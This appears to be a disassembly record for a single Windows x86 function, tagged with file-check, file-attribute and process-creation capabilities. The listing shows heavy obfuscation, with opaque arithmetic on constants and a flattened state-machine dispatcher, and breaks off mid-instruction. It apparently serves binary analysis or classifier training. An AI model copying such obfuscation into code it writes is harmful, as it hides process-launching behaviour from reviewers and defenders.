Function at 0x10105a00
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x98
mov eax, dword [0x101d0fc8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x101cef7c]
xor edx, edx
div dword [0x101cef80]
mov ecx, 0x2b899bb3
xor edx, edx
div ecx
sub eax, 0xfddfe4c9
sub eax, 0x3d131d4a
add eax, 0xfddfe4c9
sub eax, 0x2f8491d
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xe5f977a5
mov edx, 0xffffffff
xor edx, 0xe5f977a5
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
add eax, 0x7a55965d
imul eax, eax, 0x6177fb26
sub eax, 0xde444bf8
mov ecx, 0xad17a846
xor edx, edx
div ecx
mov ecx, eax
sub ecx, 0xd5dd3a77
xor ecx, 0x50c0c6ef
mov eax, ecx
xor eax, 0x4ec2c7e7
mov edx, 0xffffffff
xor edx, 0x4ec2c7e7
and ecx, edx
shl ecx, 1
sub ecx, eax
mov esi, 0xffffffff
xor esi, 0x54a44bb1
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x54a44bb1
or ecx, 0x54a44bb1
imul ecx, edx
add ecx, eax
add ecx, 0x88862553
or ecx, 0x54f66b71
mov eax, ecx
or eax, 0x79b080a8
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x79b080a8
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0xcb6f81bc
add eax, 0xa80065aa
add eax, 0xe31c790c
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9eeeecdf
mov esi, 0xffffffff
xor esi, 0x9eeeecdf
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9eeeecdf
or eax, 0x9eeeecdf
imul eax, edx
add eax, ecx
add eax, 0xa265de2a
add eax, 0x7877f149
sub eax, 0xa265de2a
or eax, 0x15cd7df3
mov ecx, 0x175cfb
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7f3cc366
mov esi, 0xffffffff
xor esi, 0x7f3cc366
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x7f3cc366
or eax, 0x7f3cc366
imul eax, edx
add eax, ecx
mov esi, eax
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xeb577654
or esi, ecx
and eax, 0xeb577654
xor eax, 0xffffffff
xor esi, 0xffffffff
xor eax, 0xffffffff
or esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x4ec6c495
mov edx, 0xffffffff
xor edx, 0x4ec6c495
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0xa5df05e8
and ecx, 0x4ec6c495
and edx, 0xa5df05e8
or eax, esi
or ecx, edx
xor eax, ecx
mov edx, 0xffffffff
xor edx, 0x3e3b10da
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x3e3b10da
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xa2ec9853
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xa2ec9853
or eax, 0xa2ec9853
imul eax, edx
add eax, ecx
or eax, 0xb0118dac
mov edx, eax
xor edx, 0xffffffff
and edx, 0x93859f0a
mov esi, 0xffffffff
xor esi, 0x93859f0a
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x93859f0a
or eax, 0x93859f0a
imul eax, edx
add eax, ecx
or eax, 0x4665f2f
and eax, 0xb76c2b22
xor eax, 0x1249694d
or eax, 0xbeb55cd3
sub eax, 0x3eae91fe
mov ecx, 0xa77baca7
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x197d5f15
sub ecx, 0x72768a4d
sub ecx, 0x197d5f15
add ecx, 0xf770d932
sub ecx, 0xca06e5fd
sub ecx, 0xf770d932
add ecx, 0x1f3764e9
mov eax, ecx
and eax, 0x29159b16
or ecx, 0x29159b16
add eax, ecx
mov dword [ebp - 0x14], 0xe75f00ae
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
and eax, 0x1aa8d086
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
sub eax, 0x81f1e924
je 0x1010a4d1
jmp 0x10105ce8
mov eax, dword [ebp - 0x24]
sub eax, 0x82e73e78
je 0x1010be2e
jmp 0x10105cfb
mov eax, dword [ebp - 0x24]
sub eax, 0x87ac3e16
je 0x10108d9f
jmp 0x10105d0e
mov eax, dword [ebp - 0x24]
sub eax, 0x8c1b2330
je 0x10107b1a
jmp 0x10105d21
mov eax, dword [ebp - 0x24]
sub eax, 0x8f3c5ec1
je 0x1010c8a5
jmp 0x10105d34
mov eax, dword [ebp - 0x24]
sub eax, 0x9061f5c4
je 0x1010c8bf
jmp 0x10105d47
mov eax, dword [ebp - 0x24]
sub eax, 0x932abcc4
je 0x1010b30f
jmp 0x10105d5a
mov eax, dword [ebp - 0x24]
sub eax, 0x95489a43
je 0x10109f39
jmp 0x10105d6d
mov eax, dword [ebp - 0x24]
sub eax, 0x961bc262
je 0x1010ba58
jmp 0x10105d80
mov eax, dword [ebp - 0x24]
sub eax, 0x96515b52
je 0x10106d67
jmp 0x10105d93
mov eax, dword [ebp - 0x24]
sub eax, 0x9884a806
je 0x10109429
jmp 0x10105da6
mov eax, dword [ebp - 0x24]
sub eax, 0x98958eca
je 0x1010c9e2
jmp 0x10105db9
mov eax, dword [ebp - 0x24]
sub eax, 0xa2bff46b
je 0x1010a1b0
jmp 0x10105dcc
mov eax, dword [ebp - 0x24]
sub eax, 0xa7916f76
je 0x10106fda
jmp 0x10105ddf
mov eax, dword [ebp - 0x24]
sub eax, 0xaadb3c7c
je 0x1010c909
jmp 0x10105df2
mov eax, dword [ebp - 0x24]
sub eax, 0xac36920e
je 0x1010a73c
jmp 0x10105e05
mov eax, dword [ebp - 0x24]
sub eax, 0xb19f41c1
je 0x101087df
jmp 0x10105e18
mov eax, dword [ebp - 0x24]
sub eax, 0xb792f6d7
je 0x1010c745
jmp 0x10105e2b
mov eax, dword [ebp - 0x24]
sub eax, 0xbd381c90
je 0x1010c7a9
jmp 0x10105e3e
mov eax, dword [ebp - 0x24]
sub eax, 0xbdd7e20b
je 0x101066b9
jmp 0x10105e51
mov eax, dword [ebp - 0x24]
sub eax, 0xc189b79e
je 0x10106a51
jmp 0x10105e64
mov eax, dword [ebp - 0x24]
sub eax, 0xc28ba183
je 0x1010ad26
jmp 0x10105e77
mov eax, dword [ebp - 0x24]
sub eax, 0xc296d3ea
je 0x1010c3fd
jmp 0x10105e8a
mov eax, dword [ebp - 0x24]
sub eax, 0xd061bbc2
je 0x1010c753
jmp 0x10105e9d
mov eax, dword [ebp - 0x24]
sub eax, 0xd2c50d18
je 0x1010c808
jmp 0x10105eb0
mov eax, dword [ebp - 0x24]
sub eax, 0xd52e24a4
je 0x1010aff0
jmp 0x10105ec3
mov eax, dword [ebp - 0x24]
sub eax, 0xe20d8f85
je 0x1010b977
jmp 0x10105ed6
mov eax, dword [ebp - 0x24]
sub eax, 0xe2c24af2
je 0x101096ea
jmp 0x10105ee9
mov eax, dword [ebp - 0x24]
sub eax, 0xe39d6761
je 0x10108166
jmp 0x10105efc
mov eax, dword [ebp - 0x24]
sub eax, 0xe75f00ae
je 0x101061ad
jmp 0x10105f0f
mov eax, dword [ebp - 0x24]
sub eax, 0xe8377036
je 0x1010c78b
jmp 0x10105f22
mov eax, dword [ebp - 0x24]
sub eax, 0xed4db4ca
je 0x101076d4
jmp 0x10105f35
mov eax, dword [ebp - 0x24]
sub eax, 0xf0442c8d
je 0x10107a2d
jmp 0x10105f48
mov eax, dword [ebp - 0x24]
sub eax, 0xf19a6488
je 0x10107afd
jmp 0x10105f5b
mov eax, dword [ebp - 0x24]
sub eax, 0xf7e77bb3
je 0x1010c1d2
jmp 0x10105f6e
mov eax, dword [ebp - 0x24]
sub eax, 0xfc042933
je 0x1010b2fd
jmp 0x10105f81
mov eax, dword [ebp - 0x24]
sub eax, 0x33bdbd7
je 0x10109707
jmp 0x10105f94
mov eax, dword [ebp - 0x24]
sub eax, 0xebd7951
je 0x1010b629
jmp 0x10105fa7
mov eax, dword [ebp - 0x24]
sub eax, 0x113d90f4
je 0x10108d82
jmp 0x10105fba
mov eax, dword [ebp - 0x24]
sub eax, 0x13b4521c
je 0x10109c4a
jmp 0x10105fcd
mov eax, dword [ebp - 0x24]
sub eax, 0x199e1b01
je 0x1010710e
jmp 0x10105fe0
mov eax, dword [ebp - 0x24]
sub eax, 0x1dd8f29b
je 0x1010b66b
jmp 0x10105ff3
mov eax, dword [ebp - 0x24]
sub eax, 0x28a90816
je 0x1010a991
jmp 0x10106006
mov eax, dword [ebp - 0x24]
sub eax, 0x4212cfba
je 0x101091d5
jmp 0x10106019
mov eax, dword [ebp - 0x24]
sub eax, 0x430edd7f
je 0x1010c1b8
jmp 0x1010602c
mov eax, dword [ebp - 0x24]
sub eax, 0x473ccc57
je 0x1010c826
jmp 0x1010603f
mov eax, dword [ebp - 0x24]
sub eax, 0x4864d385
je 0x101084c6
jmp 0x10106052
mov eax, dword [ebp - 0x24]
sub eax, 0x495d2f42
je 0x1010c7ee
jmp 0x10106065
mov eax, dword [ebp - 0x24]
sub eax, 0x4a191ac9
je 0x1010c771
jmp 0x10106078
mov eax, dword [ebp - 0x24]
sub eax, 0x4abf57cf
je 0x1010995d
jmp 0x1010608b
mov eax, dword [ebp - 0x24]
sub eax, 0x4b1745c8
je 0x1010ca26
jmp 0x1010609e
mov eax, dword [ebp - 0x24]
sub eax, 0x4ffb88e7
je 0x1010644a
jmp 0x101060b1
mov eax, dword [ebp - 0x24]
sub eax, 0x51ebef95
je 0x10108158
jmp 0x101060c4
mov eax, dword [ebp - 0x24]
sub eax, 0x56da7a51
je 0x10108fde
jmp 0x101060d7
mov eax, dword [ebp - 0x24]
sub eax, 0x579a5c0d
je 0x10108aee
jmp 0x101060ea
mov eax, dword [ebp - 0x24]
sub eax, 0x57c8c7a8
je 0x1010c1aa
jmp 0x101060fd
mov eax, dword [ebp - 0x24]
sub eax, 0x5e6a9468
je 0x1010a1be
jmp 0x10106110
mov eax, dword [ebp - 0x24]
sub eax, 0x5fec2697
je 0x1010c7c3
jmp 0x10106123
mov eax, dword [ebp - 0x24]
sub eax, 0x65d9aceb
je 0x1010c8d9
jmp 0x10106136
mov eax, dword [ebp - 0x24]
sub eax, 0x6afb2e6c
je 0x10107e4d
jmp 0x10106149
mov eax, dword [ebp - 0x24]
sub eax, 0x6f3fccee
je 0x1010b65d
jmp 0x1010615c
mov eax, dword [ebp - 0x24]
sub eax, 0x78d1a032
je 0x1010ba66
jmp 0x1010616f
mov eax, dword [ebp - 0x24]
sub eax, 0x7dcdf0d6
je 0x101073f9
jmp 0x10106182
mov eax, dword [ebp - 0x24]
sub eax, 0x7e6bd4d9
je 0x101061cd
jmp 0x10106195
mov eax, dword [ebp - 0x24]
sub eax, 0x7eb1f498
je 0x10106fbd
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0x7e6bd4d9
mov edx, 0x4a191ac9
cmp esi, 0x3c0af2c2
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cef84]
mov edx, dword [0x101cef88]
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x3a31f815
or eax, edx
or ecx, 0x3a31f815
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0xa526d1f9
xor edx, edx
div ecx
mov ecx, eax
and ecx, 0x1818b32d
shl ecx, 1
xor eax, 0x1818b32d
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xdcf53f65
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xdcf53f65
or eax, 0xdcf53f65
imul eax, edx
add eax, ecx
mov ecx, 0xb6471ef5
xor edx, edx
div ecx
imul eax, eax, 0xb7e00590
mov ecx, 0x9e263c02
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0x1add2bf2
mov eax, ecx
xor eax, edx
and eax, ecx
and eax, 0xe4e88f8
mov ecx, 0xffffffff
xor ecx, 0x5512e8d0
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
and eax, 0xcc16fe73
xor ecx, ecx
sub ecx, 0x519b6c3
sub eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x12a7d610
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
or eax, 0xe79d4b5d
mov ecx, 0xe3747b48
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0xa26b57d0
xor ecx, 0x220818b8
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x6ad371f9
or eax, edx
and ecx, 0x6ad371f9
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x43395312
mov ecx, 0xc9fb3b48
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xfa5a21e
mov edx, 0xffffffff
xor edx, 0xfa5a21e
and ecx, edx
or eax, ecx
add eax, 0xd62ab817
mov ecx, 0x151831f7
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
add edx, 0x74b0b0ef
sub edx, 0x4485cd21
mov ecx, edx
and ecx, 0x56f6565f
shl ecx, 1
xor edx, 0x56f6565f
add edx, ecx
or edx, 0x58118c94
mov ecx, edx
or ecx, ecx
xor ecx, 0xffffffff
mov esi, 0x66d7004b
or esi, 0x66d7004b
xor esi, 0xffffffff
xor ecx, 0xffffffff
xor esi, 0xffffffff
and ecx, esi
or edx, 0x66d7004b
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
add ecx, 0x219733b7
mov esi, ecx
and esi, 0xe4f74f2
or ecx, 0xe4f74f2
add esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xd968d6eb
mov edi, 0xffffffff
xor edi, 0xd968d6eb
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xd968d6eb
or esi, 0xd968d6eb
imul esi, edx
add esi, ecx
and esi, 0x979c34c0
mov ecx, esi
and ecx, 0x9e5a834f
shl ecx, 1
xor esi, 0x9e5a834f
add esi, ecx
xor esi, 0x4379c558
and esi, 0xa58e9ee2
mov edx, esi
xor edx, 0xffffffff
and edx, 0xa98b6604
mov edi, 0xffffffff
xor edi, 0xa98b6604
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xa98b6604
or esi, 0xa98b6604
imul esi, edx
add esi, ecx
or esi, 0x95fac2dc
and esi, 0x2aed5afd
and esi, 0xb957e13e
add esi, 0xa95faf30
sub esi, 0x316fbced
sub esi, 0xa95faf30
xor esi, 0x914ffe95
mov ecx, 0x4a191ac9
mov edx, 0x4ffb88e7
cmp esi, 0xf8d2c8fa
cmovb ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cef8c]
or eax, dword [0x101cef90]
mov ecx, 0x9cc961a1
xor edx, edx
div ecx
and eax, 0x72c005d3
or eax, 0x306125de
mov ecx, 0x1e5c79f1
xor edx, edx
div ecx
mov ecx, eax
xor eax, eax
sub eax, 0x1d2f161b
sub ecx, eax
or ecx, 0x147aa641
mov edx, 0xffffffff
xor edx, 0xf9971e94
mov eax, ecx
xor eax, edx
and eax, ecx
add eax, 0x45027eeb
imul eax, eax, 0x74685cdc
imul eax, eax, 0x7d2fcec5
mov ecx, eax
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x93f6dc3a
or ecx, edx
and eax, 0x93f6dc3a
xor eax, 0xffffffff
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0x48756dde
add ecx, eax
or ecx, 0xd1d9857
mov esi, 0xffffffff
xor esi, 0xda5778fd
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xda5778fd
or ecx, 0xda5778fd
imul ecx, edx
add ecx, eax
mov esi, 0xffffffff
xor esi, 0x9303938c
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x9303938c
or ecx, 0x9303938c
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, 0x40ad9fd7
xor ecx, 0x40ad9fd7
or eax, ecx
add eax, 0xbc891132
sub eax, 0x91a7a11c
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x9a06b638
add eax, ecx
mov esi, 0xffffffff
xor esi, 0xd142cf97
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xd142cf97
or eax, 0xd142cf97
imul eax, edx
add eax, ecx
or eax, 0xc3b0e527
xor eax, 0xa027384
sub eax, 0xeaca7ea7
mov ecx, 0x8f923227
xor edx, edx
div ecx
mov ecx, 0xa5fd9a5
xor edx, edx
div ecx
add eax, 0x6f121707
sub eax, 0xd88b9b37
sub eax, 0x6f121707
mov ecx, 0xbb85afb8
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xd02ceabb
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x57a1d5b
add eax, ecx
xor ecx, ecx
sub ecx, eax
add ecx, 0x6e26118a
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0xcd75cd49
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x4355bc20
mov esi, 0xffffffff
xor esi, 0x4355bc20
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x4355bc20
or ecx, 0x4355bc20
imul ecx, edx
add ecx, eax
mov esi, 0xffffffff
xor esi, 0x84c62aa5
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x84c62aa5
or ecx, 0x84c62aa5
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf2b43322
and eax, edx
or ecx, 0xf2b43322
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
xor eax, 0x12e9fe70
mov ecx, 0x665c678e
xor edx, edx
div ecx
xor eax, 0x171f2a31
mov ecx, 0x42519d27
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0x1c55a794
sub eax, ecx
mov ecx, 0x77d96c8
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0xbdd7e20b
mov edx, 0x932abcc4
cmp esi, 0x30ca458a
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cef94]
add eax, dword [0x101cef98]
mov ecx, eax
xor ecx, 0xbbd25499
mov edx, 0xffffffff
xor edx, 0xbbd25499
and eax, edx
shl eax, 1
sub eax, ecx
and eax, 0xe0f4ae8a
imul ecx, eax, 0xe85bf8b7
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0xf5f12335
mov esi, 0xffffffff
xor esi, 0xf5f12335
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf5f12335
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
mov ecx, eax
xor ecx, 0xc1c65c06
mov edx, 0xffffffff
xor edx, 0xc1c65c06
and eax, edx
shl eax, 1
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x6e8ade1e
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x6e8ade1e
add eax, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0xbbff51ff
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbbff51ff
or eax, 0xbbff51ff
imul eax, edx
add eax, ecx
mov ecx, 0x51dedf4d
xor edx, edx
div ecx
mov ecx, 0xf03367c5
xor edx, edx
div ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x399cc1fb
mov esi, 0xffffffff
xor esi, 0x399cc1fb
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x399cc1fb
or eax, 0x399cc1fb
imul eax, edx
add eax, ecx
sub eax, 0x9135857a
mov ecx, 0x1feb0ec9
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x672aeeb1
mov edx, 0xffffffff
xor edx, 0x672aeeb1
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x898596ea
and ecx, 0x672aeeb1
and edx, 0x898596ea
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0x3058a7a8
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9208e3a0
mov edx, 0xffffffff
xor edx, 0x9208e3a0
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov esi, 0xffffffff
xor esi, 0xecf6960c
mov edx, 0xffffffff
xor edx, 0x672acaed
and ecx, 0x672acaed
and eax, edx
mov edi, esi
and edi, 0x672acaed
mov ebx, edx
and ebx, 0xecf6960c
or ecx, eax
mov eax, dword [ebp - 0x30]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0x672acaed
and eax, edx
or ecx, eax
add ecx, 0xf97b16fc
add ecx, 0x2a447cb
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa6a30f3d
mov edx, 0xffffffff
xor edx, 0xa6a30f3d
and ecx, edx
or eax, ecx
or eax, 0x472696cd
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x89691686
add ecx, eax
xor eax, eax
sub eax, ecx
sub eax, 0x981787b0
sub eax, 0xd3ed6e82
add eax, 0x981787b0
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x980ada8
mov edx, 0xffffffff
xor edx, 0x980ada8
and eax, edx
sub eax, ecx
mov edx, 0xffffffff
xor edx, 0x65ce297d
mov ecx, eax
xor ecx, edx
and ecx, eax
mov eax, ecx
and eax, 0x43bcc173
xor ecx, 0x43bcc173
or eax, ecx
mov ecx, 0xf09b46eb
xor edx, edx
div ecx
mov ecx, eax
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x3c85f48e
mov esi, 0xffffffff
xor esi, 0x3c85f48e
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x3c85f48e
or ecx, 0x3c85f48e
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x2c], eax
mov esi, 0xffffffff
xor esi, 0x84b3b520
mov edx, 0xffffffff
xor edx, 0x5894dbe2
and eax, 0x5894dbe2
and ecx, edx
mov edi, esi
and edi, 0x5894dbe2
mov ebx, edx
and ebx, 0x84b3b520
or eax, ecx
mov ecx, dword [ebp - 0x2c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x5894dbe2
and ecx, edx
or eax, ecx
mov edx, 0xffffffff
xor edx, 0x343247
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x343247
add eax, edx
sub eax, ecx
and eax, 0xdde1db86
xor eax, 0x1c1850e2
imul eax, eax, 0x5bcef089
mov esi, 0xffffffff
xor esi, 0x168613fe
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x168613fe
or eax, 0x168613fe
imul eax, edx
add eax, ecx
mov ecx, 0x6ad45d69
xor edx, edx
div ecx
mov edx, eax
mov eax, dword [ebp - 0x1c]
and edx, 0xe3852cd0
xor edx, 0x302b0bb7
mov ecx, edx
add ecx, 1
xor edx, 0xffffffff
or edx, 0x1e48331
add edx, ecx
add edx, 0xd722dea2
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0x91c917a6
add ecx, edx
xor esi, esi
sub esi, ecx
xor esi, 0x8e60f256
cmp dword [0x101d2614], 0
sete cl
mov byte [ebp - 0x25], cl
mov ecx, 0x932abcc4
mov edx, 0xc189b79e
cmp esi, 0x9a93872c
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x1010caac
mov eax, dword [0x101cef9c]
xor eax, dword [str.Z_u]
and eax, 0xad18ab7
mov ecx, eax
and ecx, 0xb6c0d5b0
shl ecx, 1
xor eax, 0xb6c0d5b0
add eax, ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf51b9366
mov edx, 0xffffffff
xor edx, 0xf51b9366
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xe20a69c8
xor edx, edx
div ecx
and eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x20ed59ac
mov edx, 0xffffffff
xor edx, 0x20ed59ac
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
xor eax, 0x476fd44e
mov ecx, eax
xor ecx, 0xcabc6e30
xor ecx, 0xffffffff
and ecx, 0xcabc6e30
shl ecx, 1
sub ecx, 0xcabc6e30
sub eax, ecx
xor eax, 0xa30e8d8f
mov edx, eax
xor edx, 0xffffffff
and edx, 0x73a18ffb
mov esi, 0xffffffff
xor esi, 0x73a18ffb
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x73a18ffb
or eax, 0x73a18ffb
imul eax, edx
add eax, ecx
mov esi, eax
and esi, esi
xor esi, 0xffffffff
xor esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xe29d33ab
or esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xe29d33ab
mov edx, 0xffffffff
xor edx, 0xe29d33ab
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and esi, eax
xor esi, 0xffffffff
mov eax, esi
add eax, 1
xor esi, 0xffffffff
or esi, 0x301eb669
add esi, eax
mov eax, 0xffffffff
xor eax, 0x58e12707
xor ecx, ecx
sub ecx, 1
sub eax, ecx
sub esi, eax
add esi, 0xb0a77dcb
and esi, 0xd84251ed
mov eax, esi
xor eax, 0xffffffff
and eax, 0x909f0931
mov edx, 0xffffffff
xor edx, 0x909f0931
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x722f94c7
and ecx, 0x909f0931
and edx, 0x722f94c7
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
and ecx, 0x27d46cba
xor ecx, 0xffffffff
add eax, 0x27d46cba
add eax, 1
add eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0xad905f55
mov edx, 0xffffffff
xor edx, 0xad905f55
and eax, edx
sub eax, ecx
sub eax, 0xfb29ac0f
xor eax, 0x1dcf6b75
xor eax, 0x6be31cfd
mov ecx, 0x4ddbee47
xor edx, edx
div ecx
and eax, 0x1fa990ae
mov ecx, 0x6ad4bd70
xor edx, edx
div ecx
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x2b011624
mov edx, 0xffffffff
xor edx, 0x2b011624
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x4e28b279
and ecx, 0x2b011624
and edx, 0x4e28b279
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xb3d3cb8c
xor edx, edx
div ecx
add eax, 0x7a3392df
add eax, 0x1c1eeef3
or eax, 0x40f1b9a8
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x2a1beceb
mov edx, 0xffffffff
xor edx, 0x2a1beceb
and eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9b85d99
mov esi, 0xffffffff
xor esi, 0x9b85d99
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9b85d99
or eax, 0x9b85d99
imul eax, edx
add eax, ecx
imul eax, eax, 0xffa99170
mov ecx, 0xde60f49c
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x7fac1dcf
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
and eax, 0x8a0aa38
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x8a0aa38
mov esi, 0xffffffff
xor esi, 0x8a0aa38
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
mov ecx, 0x2457879f
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x8bf438b4
xor ecx, 0xffffffff
and ecx, 0x8bf438b4
shl ecx, 1
sub ecx, 0x8bf438b4
sub eax, ecx
mov ecx, eax
xor ecx, 0x50f2bf98
xor ecx, 0xffffffff
and ecx, 0x50f2bf98
shl ecx, 1
sub ecx, 0x50f2bf98
sub eax, ecx
sub eax, 0xaeb5329e
mov ecx, 0x64c6567a
xor edx, edx
div ecx
mov ecx, 0x4aff6f5b
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x96515b52
mov edx, 0xe8377036
cmp esi, 0x65077ae
